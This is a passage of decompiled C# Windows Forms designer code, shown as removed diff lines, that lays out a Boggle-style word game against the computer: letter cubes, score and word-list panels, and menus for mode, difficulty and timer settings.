- BogBorder bogBorder8_1 = this.BogBorder8; - point1 = new Point(237, 16); - Point point8 = point1; - bogBorder8_1.Location = point8; - this.BogBorder8.Name = "BogBorder8"; - BogBorder bogBorder8_2 = this.BogBorder8; - size1 = new Size(10, 97); - Size size8 = size1; - bogBorder8_2.Size = size8; - this.BogBorder8.TabIndex = 17; - this.BogBorder8.TabStop = false; - this.lbl1.BackColor = System.Drawing.Color.LightGray; - this.lbl1.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl1.CubeText = "W"; - this.lbl1.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl1.CubeTopRadius = 55L; - CircleLabel lbl1_1 = this.lbl1; - point1 = new Point(386, 186); - Point point9 = point1; - lbl1_1.Location = point9; - this.lbl1.Name = "lbl1"; - CircleLabel lbl1_2 = this.lbl1; - size1 = new Size(55, 55); - Size size9 = size1; - lbl1_2.Size = size9; - this.lbl1.TabIndex = 19; - this.lbl1.Tag = (object) "00"; - this.lbl4.BackColor = System.Drawing.Color.LightGray; - this.lbl4.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl4.CubeText = "W"; - this.lbl4.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl4.CubeTopRadius = 55L; - CircleLabel lbl4_1 = this.lbl4; - point1 = new Point(609, 190); - Point point10 = point1; - lbl4_1.Location = point10; - this.lbl4.Name = "lbl4"; - CircleLabel lbl4_2 = this.lbl4; - size1 = new Size(55, 55); - Size size10 = size1; - lbl4_2.Size = size10; - this.lbl4.TabIndex = 20; - this.lbl4.Tag = (object) "30"; - this.lbl3.BackColor = System.Drawing.Color.LightGray; - this.lbl3.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl3.CubeText = "W"; - this.lbl3.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl3.CubeTopRadius = 55L; - CircleLabel lbl3_1 = this.lbl3; - point1 = new Point(532, 189); - Point point11 = point1; - lbl3_1.Location = point11; - this.lbl3.Name = "lbl3"; - CircleLabel lbl3_2 = this.lbl3; - size1 = new Size(55, 55); - Size size11 = size1; - lbl3_2.Size = size11; - this.lbl3.TabIndex = 21; - this.lbl3.Tag = (object) "20"; - this.lbl2.BackColor = System.Drawing.Color.LightGray; - this.lbl2.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl2.CubeText = "W"; - this.lbl2.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl2.CubeTopRadius = 55L; - CircleLabel lbl2_1 = this.lbl2; - point1 = new Point(459, 188); - Point point12 = point1; - lbl2_1.Location = point12; - this.lbl2.Name = "lbl2"; - CircleLabel lbl2_2 = this.lbl2; - size1 = new Size(55, 55); - Size size12 = size1; - lbl2_2.Size = size12; - this.lbl2.TabIndex = 22; - this.lbl2.Tag = (object) "10"; - this.lbl5.BackColor = System.Drawing.Color.LightGray; - this.lbl5.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl5.CubeText = "W"; - this.lbl5.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl5.CubeTopRadius = 55L; - CircleLabel lbl5_1 = this.lbl5; - point1 = new Point(389, 262); - Point point13 = point1; - lbl5_1.Location = point13; - this.lbl5.Name = "lbl5"; - CircleLabel lbl5_2 = this.lbl5; - size1 = new Size(55, 55); - Size size13 = size1; - lbl5_2.Size = size13; - this.lbl5.TabIndex = 23; - this.lbl5.Tag = (object) "01"; - this.lbl6.BackColor = System.Drawing.Color.LightGray; - this.lbl6.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl6.CubeText = "W"; - this.lbl6.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl6.CubeTopRadius = 55L; - CircleLabel lbl6_1 = this.lbl6; - point1 = new Point(462, 261); - Point point14 = point1; - lbl6_1.Location = point14; - this.lbl6.Name = "lbl6"; - CircleLabel lbl6_2 = this.lbl6; - size1 = new Size(55, 55); - Size size14 = size1; - lbl6_2.Size = size14; - this.lbl6.TabIndex = 24; - this.lbl6.Tag = (object) "11"; - this.lbl7.BackColor = System.Drawing.Color.LightGray; - this.lbl7.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl7.CubeText = "W"; - this.lbl7.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl7.CubeTopRadius = 55L; - CircleLabel lbl7_1 = this.lbl7; - point1 = new Point(535, 261); - Point point15 = point1; - lbl7_1.Location = point15; - this.lbl7.Name = "lbl7"; - CircleLabel lbl7_2 = this.lbl7; - size1 = new Size(55, 55); - Size size15 = size1; - lbl7_2.Size = size15; - this.lbl7.TabIndex = 25; - this.lbl7.Tag = (object) "21"; - this.lbl8.BackColor = System.Drawing.Color.LightGray; - this.lbl8.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl8.CubeText = "W"; - this.lbl8.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl8.CubeTopRadius = 55L; - CircleLabel lbl8_1 = this.lbl8; - point1 = new Point(612, 261); - Point point16 = point1; - lbl8_1.Location = point16; - this.lbl8.Name = "lbl8"; - CircleLabel lbl8_2 = this.lbl8; - size1 = new Size(55, 55); - Size size16 = size1; - lbl8_2.Size = size16; - this.lbl8.TabIndex = 26; - this.lbl8.Tag = (object) "31"; - this.lbl9.BackColor = System.Drawing.Color.LightGray; - this.lbl9.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl9.CubeText = "W"; - this.lbl9.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl9.CubeTopRadius = 55L; - CircleLabel lbl9_1 = this.lbl9; - point1 = new Point(393, 340); - Point point17 = point1; - lbl9_1.Location = point17; - this.lbl9.Name = "lbl9"; - CircleLabel lbl9_2 = this.lbl9; - size1 = new Size(55, 55); - Size size17 = size1; - lbl9_2.Size = size17; - this.lbl9.TabIndex = 27; - this.lbl9.Tag = (object) "02"; - this.lbl10.BackColor = System.Drawing.Color.LightGray; - this.lbl10.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl10.CubeText = "W"; - this.lbl10.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl10.CubeTopRadius = 55L; - CircleLabel lbl10_1 = this.lbl10; - point1 = new Point(462, 342); - Point point18 = point1; - lbl10_1.Location = point18; - this.lbl10.Name = "lbl10"; - CircleLabel lbl10_2 = this.lbl10; - size1 = new Size(55, 55); - Size size18 = size1; - lbl10_2.Size = size18; - this.lbl10.TabIndex = 28; - this.lbl10.Tag = (object) "12"; - this.lbl11.BackColor = System.Drawing.Color.LightGray; - this.lbl11.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl11.CubeText = "W"; - this.lbl11.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl11.CubeTopRadius = 55L; - CircleLabel lbl11_1 = this.lbl11; - point1 = new Point(537, 339); - Point point19 = point1; - lbl11_1.Location = point19; - this.lbl11.Name = "lbl11"; - CircleLabel lbl11_2 = this.lbl11; - size1 = new Size(55, 55); - Size size19 = size1; - lbl11_2.Size = size19; - this.lbl11.TabIndex = 29; - this.lbl11.Tag = (object) "22"; - this.lbl12.BackColor = System.Drawing.Color.LightGray; - this.lbl12.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl12.CubeText = "W"; - this.lbl12.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl12.CubeTopRadius = 55L; - CircleLabel lbl12_1 = this.lbl12; - point1 = new Point(613, 338); - Point point20 = point1; - lbl12_1.Location = point20; - this.lbl12.Name = "lbl12"; - CircleLabel lbl12_2 = this.lbl12; - size1 = new Size(55, 55); - Size size20 = size1; - lbl12_2.Size = size20; - this.lbl12.TabIndex = 30; - this.lbl12.Tag = (object) "32"; - this.lbl13.BackColor = System.Drawing.Color.LightGray; - this.lbl13.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl13.CubeText = "W"; - this.lbl13.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl13.CubeTopRadius = 55L; - CircleLabel lbl13_1 = this.lbl13; - point1 = new Point(389, 415); - Point point21 = point1; - lbl13_1.Location = point21; - this.lbl13.Name = "lbl13"; - CircleLabel lbl13_2 = this.lbl13; - size1 = new Size(55, 55); - Size size21 = size1; - lbl13_2.Size = size21; - this.lbl13.TabIndex = 31; - this.lbl13.Tag = (object) "03"; - this.lbl14.BackColor = System.Drawing.Color.LightGray; - this.lbl14.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl14.CubeText = "W"; - this.lbl14.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl14.CubeTopRadius = 55L; - CircleLabel lbl14_1 = this.lbl14; - point1 = new Point(463, 412); - Point point22 = point1; - lbl14_1.Location = point22; - this.lbl14.Name = "lbl14"; - CircleLabel lbl14_2 = this.lbl14; - size1 = new Size(55, 55); - Size size22 = size1; - lbl14_2.Size = size22; - this.lbl14.TabIndex = 32; - this.lbl14.Tag = (object) "13"; - this.lbl15.BackColor = System.Drawing.Color.LightGray; - this.lbl15.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl15.CubeText = "W"; - this.lbl15.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl15.CubeTopRadius = 55L; - CircleLabel lbl15_1 = this.lbl15; - point1 = new Point(542, 413); - Point point23 = point1; - lbl15_1.Location = point23; - this.lbl15.Name = "lbl15"; - CircleLabel lbl15_2 = this.lbl15; - size1 = new Size(55, 55); - Size size23 = size1; - lbl15_2.Size = size23; - this.lbl15.TabIndex = 33; - this.lbl15.Tag = (object) "23"; - this.lbl16.BackColor = System.Drawing.Color.LightGray; - this.lbl16.CubeHighLight = System.Drawing.Color.LightGray; - this.lbl16.CubeText = "W"; - this.lbl16.CubeTextColor = System.Drawing.Color.DarkBlue; - this.lbl16.CubeTopRadius = 55L; - CircleLabel lbl16_1 = this.lbl16; - point1 = new Point(613, 414); - Point point24 = point1; - lbl16_1.Location = point24; - this.lbl16.Name = "lbl16"; - CircleLabel lbl16_2 = this.lbl16; - size1 = new Size(55, 55); - Size size24 = size1; - lbl16_2.Size = size24; - this.lbl16.TabIndex = 34; - this.lbl16.Tag = (object) "33"; - this.picCubeDown.BackColor = System.Drawing.Color.FromArgb(0, 0, 192); - PictureBox picCubeDown1 = this.picCubeDown; - point1 = new Point(693, 189); - Point point25 = point1; - picCubeDown1.Location = point25; - this.picCubeDown.Name = "picCubeDown"; - PictureBox picCubeDown2 = this.picCubeDown; - size1 = new Size(74, 75); - Size size25 = size1; - picCubeDown2.Size = size25; - this.picCubeDown.TabIndex = 35; - this.picCubeDown.TabStop = false; - this.btnAddWord.BogButtonEnabled = false; - this.btnAddWord.ButtonText = "Add Word"; - BogButton btnAddWord1 = this.btnAddWord; - point1 = new Point(187, 180); - Point point26 = point1; - btnAddWord1.Location = point26; - this.btnAddWord.Name = "btnAddWord"; - BogButton btnAddWord2 = this.btnAddWord; - size1 = new Size(93, 49); - Size size26 = size1; - btnAddWord2.Size = size26; - this.btnAddWord.TabIndex = 36; - this.btnAddWord.Tag = (object) "Continue"; - this.btnAddWord.Text = "Add Word"; - this.lstHumanWordsFound.BackColor = System.Drawing.Color.Black; - this.lstHumanWordsFound.BorderStyle = BorderStyle.None; - this.lstHumanWordsFound.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lstHumanWordsFound.ForeColor = System.Drawing.Color.DodgerBlue; - ListBox lstHumanWordsFound1 = this.lstHumanWordsFound; - point1 = new Point(58, 381); - Point point27 = point1; - lstHumanWordsFound1.Location = point27; - this.lstHumanWordsFound.Name = "lstHumanWordsFound"; - ListBox lstHumanWordsFound2 = this.lstHumanWordsFound; - size1 = new Size(81, 234); - Size size27 = size1; - lstHumanWordsFound2.Size = size27; - this.lstHumanWordsFound.TabIndex = 40; - this.mnuMain.MenuItems.AddRange(new MenuItem[3] - { - this.mnuGame, - this.mnuOptions, - this.mnuHelp - }); - this.mnuGame.Enabled = false; - this.mnuGame.Index = 0; - this.mnuGame.MenuItems.AddRange(new MenuItem[6] - { - this.mnuNewGame, - this.mnuEndGame, - this.MenuItem8, - this.mnuHighScores, - this.MenuItem2, - this.mnuExitGame - }); - this.mnuGame.Text = "&Game"; - this.mnuNewGame.Index = 0; - this.mnuNewGame.Text = "New Game..."; - this.mnuEndGame.Index = 1; - this.mnuEndGame.Text = "End Game"; - this.MenuItem8.Index = 2; - this.MenuItem8.Text = "-"; - this.mnuHighScores.Index = 3; - this.mnuHighScores.Text = "High Scores..."; - this.MenuItem2.Index = 4; - this.MenuItem2.Text = "-"; - this.mnuExitGame.Index = 5; - this.mnuExitGame.Text = "Exit "; - this.mnuOptions.Enabled = false; - this.mnuOptions.Index = 1; - this.mnuOptions.MenuItems.AddRange(new MenuItem[13] - { - this.mnuEnableDefSearch, - this.MenuItem1, - this.mnuMode, - this.MenuItem3, - this.mnuLevelEasy, - this.mnuLevelMedium, - this.mnuLevelHard, - this.mnuLevelImpossible, - this.MenuItem4, - this.mnuTimerInterval, - this.mnuEnableTimerFlash, - this.MenuItem5, - this.mnuEnableWordValidation - }); - this.mnuOptions.Text = "&Options"; - this.mnuEnableDefSearch.Index = 0; - this.mnuEnableDefSearch.Text = "Enable Defention Search"; - this.MenuItem1.Index = 1; - this.MenuItem1.Text = "-"; - this.mnuMode.Index = 2; - this.mnuMode.MenuItems.AddRange(new MenuItem[3] - { - this.mnuBoardGameMode, - this.mnuVsMode, - this.mnuTeachingMode - }); - this.mnuMode.Text = "Mode..."; - this.mnuBoardGameMode.Index = 0; - this.mnuBoardGameMode.Text = "Board Game Mode"; - this.mnuVsMode.Index = 1; - this.mnuVsMode.Text = "Vs. Computer Mode"; - this.mnuTeachingMode.Index = 2; - this.mnuTeachingMode.Text = "Teaching Mode"; - this.MenuItem3.Index = 3; - this.MenuItem3.Text = "-"; - this.mnuLevelEasy.Index = 4; - this.mnuLevelEasy.Text = "Level Easy"; - this.mnuLevelMedium.Index = 5; - this.mnuLevelMedium.Text = "Level Medium"; - this.mnuLevelHard.Index = 6; - this.mnuLevelHard.Text = "Level Hard"; - this.mnuLevelImpossible.Index = 7; - this.mnuLevelImpossible.Text = "Level Impossible "; - this.MenuItem4.Index = 8; - this.MenuItem4.Text = "-"; - this.mnuTimerInterval.Index = 9; - this.mnuTimerInterval.MenuItems.AddRange(new MenuItem[10] - { - this.mnuTmr30, - this.mnuTmr100, - this.mnuTmr130, - this.mnuTmr200, - this.mnuTmr230, - this.mnuTmr300, - this.mnuTmr330, - this.mnuTmr400, - this.mnuTmr430, - this.mnuTmr500 - }); - this.mnuTimerInterval.Text = "Timer Interval..."; - this.mnuTmr30.Index = 0; - this.mnuTmr30.Text = ":30"; - this.mnuTmr100.Index = 1; - this.mnuTmr100.Text = "1:00"; - this.mnuTmr130.Index = 2; - this.mnuTmr130.Text = "1:30"; - this.mnuTmr200.Index = 3; - this.mnuTmr200.Text = "2:00"; - this.mnuTmr230.Index = 4; - this.mnuTmr230.Text = "2:30"; - this.mnuTmr300.Index = 5; - this.mnuTmr300.Text = "3:00"; - this.mnuTmr330.Index = 6; - this.mnuTmr330.Text = "3:30"; - this.mnuTmr400.Index = 7; - this.mnuTmr400.Text = "4:00"; - this.mnuTmr430.Index = 8; - this.mnuTmr430.Text = "4:30"; - this.mnuTmr500.Index = 9; - this.mnuTmr500.Text = "5:00"; - this.mnuEnableTimerFlash.Index = 10; - this.mnuEnableTimerFlash.Text = "Enable Timer Flash"; - this.MenuItem5.Index = 11; - this.MenuItem5.Text = "-"; - this.mnuEnableWordValidation.Index = 12; - this.mnuEnableWordValidation.Text = "Enable Word Validation"; - this.mnuHelp.Enabled = false; - this.mnuHelp.Index = 2; - this.mnuHelp.MenuItems.AddRange(new MenuItem[3] - { - this.mnuAbout, - this.MenuItem6, - this.mnuTips - }); - this.mnuHelp.Text = "&Help"; - this.mnuAbout.Index = 0; - this.mnuAbout.Text = "About..."; - this.MenuItem6.Index = 1; - this.MenuItem6.Text = "-"; - this.mnuTips.Index = 2; - this.mnuTips.Text = "Tips..."; - this.tmrContMain.Enabled = true; - this.tmrContMain.Interval = 500; - this.txtWordFound.BackColor = System.Drawing.Color.Silver; - this.txtWordFound.BorderStyle = BorderStyle.FixedSingle; - this.txtWordFound.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.txtWordFound.ForeColor = System.Drawing.Color.FromArgb(0, 0, 192); - TextBox txtWordFound1 = this.txtWordFound; - point1 = new Point(35, 203); - Point point28 = point1; - txtWordFound1.Location = point28; - this.txtWordFound.Name = "txtWordFound"; - TextBox txtWordFound2 = this.txtWordFound; - size1 = new Size(116, 22); - Size size28 = size1; - txtWordFound2.Size = size28; - this.txtWordFound.TabIndex = 41; - this.txtWordFound.Text = ""; - this.lblHumanScore.BackColor = System.Drawing.Color.Silver; - this.lblHumanScore.BorderStyle = BorderStyle.FixedSingle; - this.lblHumanScore.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lblHumanScore.ForeColor = System.Drawing.Color.FromArgb(0, 0, 192); - Label lblHumanScore1 = this.lblHumanScore; - point1 = new Point(35, 244); - Point point29 = point1; - lblHumanScore1.Location = point29; - this.lblHumanScore.Name = "lblHumanScore"; - Label lblHumanScore2 = this.lblHumanScore; - size1 = new Size(80, 19); - Size size29 = size1; - lblHumanScore2.Size = size29; - this.lblHumanScore.TabIndex = 42; - this.lblHumanScore.Text = "0"; - this.Panel1.BackColor = System.Drawing.Color.Black; - Panel panel1_1 = this.Panel1; - point1 = new Point(365, 75); - Point point30 = point1; - panel1_1.Location = point30; - this.Panel1.Name = "Panel1"; - Panel panel1_2 = this.Panel1; - size1 = new Size(17, 97); - Size size30 = size1; - panel1_2.Size = size30; - this.Panel1.TabIndex = 43; - this.pnlScore.BackColor = System.Drawing.Color.DarkGray; - BogPanel pnlScore1 = this.pnlScore; - point1 = new Point(-3, 161); - Point point31 = point1; - pnlScore1.Location = point31; - this.pnlScore.Name = "pnlScore"; - BogPanel pnlScore2 = this.pnlScore; - size1 = new Size(318, 174); - Size size31 = size1; - pnlScore2.Size = size31; - this.pnlScore.TabIndex = 46; - this.pnlScore.TabStop = false; - this.pnlWords.BackColor = System.Drawing.Color.DarkGray; - BogPanel pnlWords1 = this.pnlWords; - point1 = new Point(-5, 331); - Point point32 = point1; - pnlWords1.Location = point32; - this.pnlWords.Name = "pnlWords"; - BogPanel pnlWords2 = this.pnlWords; - size1 = new Size(318, 315); - Size size32 = size1; - pnlWords2.Size = size32; - this.pnlWords.TabIndex = 47; - this.pnlWords.TabStop = false; - this.BogBorder9.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder9.BorderDirection = BogBorder.Direction.Left; - BogBorder bogBorder9_1 = this.BogBorder9; - point1 = new Point(48, 370); - Point point33 = point1; - bogBorder9_1.Location = point33; - this.BogBorder9.Name = "BogBorder9"; - BogBorder bogBorder9_2 = this.BogBorder9; - size1 = new Size(12, 258); - Size size33 = size1; - bogBorder9_2.Size = size33; - this.BogBorder9.TabIndex = 48; - this.BogBorder9.TabStop = false; - this.BogBorder10.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder10.BorderDirection = BogBorder.Direction.Right; - BogBorder bogBorder10_1 = this.BogBorder10; - point1 = new Point(139, 372); - Point point34 = point1; - bogBorder10_1.Location = point34; - this.BogBorder10.Name = "BogBorder10"; - BogBorder bogBorder10_2 = this.BogBorder10; - size1 = new Size(12, 254); - Size size34 = size1; - bogBorder10_2.Size = size34; - this.BogBorder10.TabIndex = 49; - this.BogBorder10.TabStop = false; - this.BogBorder11.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder11.BorderDirection = BogBorder.Direction.Top; - BogBorder bogBorder11_1 = this.BogBorder11; - point1 = new Point(60, 372); - Point point35 = point1; - bogBorder11_1.Location = point35; - this.BogBorder11.Name = "BogBorder11"; - BogBorder bogBorder11_2 = this.BogBorder11; - size1 = new Size(80, 11); - Size size35 = size1; - bogBorder11_2.Size = size35; - this.BogBorder11.TabIndex = 50; - this.BogBorder11.TabStop = false; - this.BogBorder12.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder12.BorderDirection = BogBorder.Direction.Bottom; - BogBorder bogBorder12_1 = this.BogBorder12; - point1 = new Point(60, 615); - Point point36 = point1; - bogBorder12_1.Location = point36; - this.BogBorder12.Name = "BogBorder12"; - BogBorder bogBorder12_2 = this.BogBorder12; - size1 = new Size(81, 11); - Size size36 = size1; - bogBorder12_2.Size = size36; - this.BogBorder12.TabIndex = 51; - this.BogBorder12.TabStop = false; - this.BogBorder13.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder13.BorderDirection = BogBorder.Direction.Bottom; - BogBorder bogBorder13_1 = this.BogBorder13; - point1 = new Point(170, 614); - Point point37 = point1; - bogBorder13_1.Location = point37; - this.BogBorder13.Name = "BogBorder13"; - BogBorder bogBorder13_2 = this.BogBorder13; - size1 = new Size(81, 11); - Size size37 = size1; - bogBorder13_2.Size = size37; - this.BogBorder13.TabIndex = 56; - this.BogBorder13.TabStop = false; - this.BogBorder14.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder14.BorderDirection = BogBorder.Direction.Top; - BogBorder bogBorder14_1 = this.BogBorder14; - point1 = new Point(170, 371); - Point point38 = point1; - bogBorder14_1.Location = point38; - this.BogBorder14.Name = "BogBorder14"; - BogBorder bogBorder14_2 = this.BogBorder14; - size1 = new Size(80, 11); - Size size38 = size1; - bogBorder14_2.Size = size38; - this.BogBorder14.TabIndex = 55; - this.BogBorder14.TabStop = false; - this.BogBorder15.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder15.BorderDirection = BogBorder.Direction.Right; - BogBorder bogBorder15_1 = this.BogBorder15; - point1 = new Point(249, 371); - Point point39 = point1; - bogBorder15_1.Location = point39; - this.BogBorder15.Name = "BogBorder15"; - BogBorder bogBorder15_2 = this.BogBorder15; - size1 = new Size(12, 254); - Size size39 = size1; - bogBorder15_2.Size = size39; - this.BogBorder15.TabIndex = 54; - this.BogBorder15.TabStop = false; - this.BogBorder16.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder16.BorderDirection = BogBorder.Direction.Left; - BogBorder bogBorder16_1 = this.BogBorder16; - point1 = new Point(158, 369); - Point point40 = point1; - bogBorder16_1.Location = point40; - this.BogBorder16.Name = "BogBorder16"; - BogBorder bogBorder16_2 = this.BogBorder16; - size1 = new Size(12, 258); - Size size40 = size1; - bogBorder16_2.Size = size40; - this.BogBorder16.TabIndex = 53; - this.BogBorder16.TabStop = false; - this.lstCompFoundWords.BackColor = System.Drawing.Color.Black; - this.lstCompFoundWords.BorderStyle = BorderStyle.None; - this.lstCompFoundWords.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lstCompFoundWords.ForeColor = System.Drawing.Color.DodgerBlue; - ListBox lstCompFoundWords1 = this.lstCompFoundWords; - point1 = new Point(168, 380); - Point point41 = point1; - lstCompFoundWords1.Location = point41; - this.lstCompFoundWords.Name = "lstCompFoundWords"; - ListBox lstCompFoundWords2 = this.lstCompFoundWords; - size1 = new Size(81, 234); - Size size41 = size1; - lstCompFoundWords2.Size = size41; - this.lstCompFoundWords.TabIndex = 52; - this.tmrBtn1.BackColor = System.Drawing.Color.Gray; - Button tmrBtn1_1 = this.tmrBtn1; - point1 = new Point(89, 132); - Point point42 = point1; - tmrBtn1_1.Location = point42; - this.tmrBtn1.Name = "tmrBtn1"; - Button tmrBtn1_2 = this.tmrBtn1; - size1 = new Size(21, 12); - Size size42 = size1; - tmrBtn1_2.Size = size42; - this.tmrBtn1.TabIndex = 57; - this.tmrBtn2.BackColor = System.Drawing.Color.Gray; - Button tmrBtn2_1 = this.tmrBtn2; - point1 = new Point(126, 132); - Point point43 = point1; - tmrBtn2_1.Location = point43; - this.tmrBtn2.Name = "tmrBtn2"; - Button tmrBtn2_2 = this.tmrBtn2; - size1 = new Size(21, 12); - Size size43 = size1; - tmrBtn2_2.Size = size43; - this.tmrBtn2.TabIndex = 58; - this.tmrBtn3.BackColor = System.Drawing.Color.Gray; - Button tmrBtn3_1 = this.tmrBtn3; - point1 = new Point(198, 132); - Point point44 = point1; - tmrBtn3_1.Location = point44; - this.tmrBtn3.Name = "tmrBtn3"; - Button tmrBtn3_2 = this.tmrBtn3; - size1 = new Size(21, 12); - Size size44 = size1; - tmrBtn3_2.Size = size44; - this.tmrBtn3.TabIndex = 59; - this.tmrBtn4.BackColor = System.Drawing.Color.Gray; - Button tmrBtn4_1 = this.tmrBtn4; - point1 = new Point(162, 132); - Point point45 = point1; - tmrBtn4_1.Location = point45; - this.tmrBtn4.Name = "tmrBtn4"; - Button tmrBtn4_2 = this.tmrBtn4; - size1 = new Size(21, 12); - Size size45 = size1; - tmrBtn4_2.Size = size45; - this.tmrBtn4.TabIndex = 60; - this.Label1.AutoSize = true; - this.Label1.BackColor = System.Drawing.Color.DarkGray; - this.Label1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.Label1.ForeColor = System.Drawing.Color.Black; - Label label1_1 = this.Label1; - point1 = new Point(65, 357); - Point point46 = point1; - label1_1.Location = point46; - this.Label1.Name = "Label1"; - Label label1_2 = this.Label1; - size1 = new Size(66, 13); - Size size46 = size1; - label1_2.Size = size46; - this.Label1.TabIndex = 61; - this.Label1.Text = "Your Words"; - this.Label2.AutoSize = true; - this.Label2.BackColor = System.Drawing.Color.DarkGray; - this.Label2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.Label2.ForeColor = System.Drawing.Color.Black; - Label label2_1 = this.Label2; - point1 = new Point(179, 357); - Point point47 = point1; - label2_1.Location = point47; - this.Label2.Name = "Label2"; - Label label2_2 = this.Label2; - size1 = new Size(57, 13); - Size size47 = size1; - label2_2.Size = size47; - this.Label2.TabIndex = 62; - this.Label2.Text = "My Words"; - this.lblCompScore.BackColor = System.Drawing.Color.Silver; - this.lblCompScore.BorderStyle = BorderStyle.FixedSingle; - this.lblCompScore.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lblCompScore.ForeColor = System.Drawing.Color.FromArgb(0, 0, 192); - Label lblCompScore1 = this.lblCompScore; - point1 = new Point(35, 289); - Point point48 = point1; - lblCompScore1.Location = point48; - this.lblCompScore.Name = "lblCompScore"; - Label lblCompScore2 = this.lblCompScore; - size1 = new Size(80, 19); - Size size48 = size1; - lblCompScore2.Size = size48; - this.lblCompScore.TabIndex = 63; - this.lblCompScore.Text = "0"; - this.Label3.AutoSize = true; - this.Label3.BackColor = System.Drawing.Color.DarkGray; - this.Label3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.Label3.ForeColor = System.Drawing.Color.Black; - Label label3_1 = this.Label3; - point1 = new Point(35, 229); - Point point49 = point1; - label3_1.Location = point49; - this.Label3.Name = "Label3"; - Label label3_2 = this.Label3; - size1 = new Size(63, 13); - Size size49 = size1; - label3_2.Size = size49; - this.Label3.TabIndex = 64; - this.Label3.Text = "Your Score"; - this.Label4.AutoSize = true; - this.Label4.BackColor = System.Drawing.Color.DarkGray; - this.Label4.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.Label4.ForeColor = System.Drawing.Color.Black; - Label label4_1 = this.Label4; - point1 = new Point(35, 272); - Point point50 = point1; - label4_1.Location = point50; - this.Label4.Name = "Label4"; - Label label4_2 = this.Label4; - size1 = new Size(54, 13); - Size size50 = size1; - label4_2.Size = size50; - this.Label4.TabIndex = 65; - this.Label4.Text = "My Score"; - this.Label5.AutoSize = true; - this.Label5.BackColor = System.Drawing.Color.DarkGray; - this.Label5.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.Label5.ForeColor = System.Drawing.Color.Black; - Label label5_1 = this.Label5; - point1 = new Point(35, 187); - Point point51 = point1; - label5_1.Location = point51; - this.Label5.Name = "Label5"; - Label label5_2 = this.Label5; - size1 = new Size(56, 13); - Size size51 = size1; - label5_2.Size = size51; - this.Label5.TabIndex = 66; - this.Label5.Text = "Add Word"; - this.lblHumanWordsCount.BackColor = System.Drawing.Color.DarkGray; - this.lblHumanWordsCount.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lblHumanWordsCount.ForeColor = System.Drawing.Color.Blue; - Label lblHumanWordsCount1 = this.lblHumanWordsCount; - point1 = new Point(25, 378); - Point point52 = point1; - lblHumanWordsCount1.Location = point52; - this.lblHumanWordsCount.Name = "lblHumanWordsCount"; - Label lblHumanWordsCount2 = this.lblHumanWordsCount; - size1 = new Size(21, 19); - Size size52 = size1; - lblHumanWordsCount2.Size = size52; - this.lblHumanWordsCount.TabIndex = 67; - this.lblHumanWordsCount.Text = "0"; - this.lblCompWordsCount.BackColor = System.Drawing.Color.DarkGray; - this.lblCompWordsCount.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lblCompWordsCount.ForeColor = System.Drawing.Color.Blue; - Label lblCompWordsCount1 = this.lblCompWordsCount; - point1 = new Point(271, 378); - Point point53 = point1; - lblCompWordsCount1.Location = point53; - this.lblCompWordsCount.Name = "lblCompWordsCount"; - Label lblCompWordsCount2 = this.lblCompWordsCount; - size1 = new Size(21, 19); - Size size53 = size1; - lblCompWordsCount2.Size = size53; - this.lblCompWordsCount.TabIndex = 68; - this.lblCompWordsCount.Text = "0"; - this.btnContinue.BogButtonEnabled = false; - 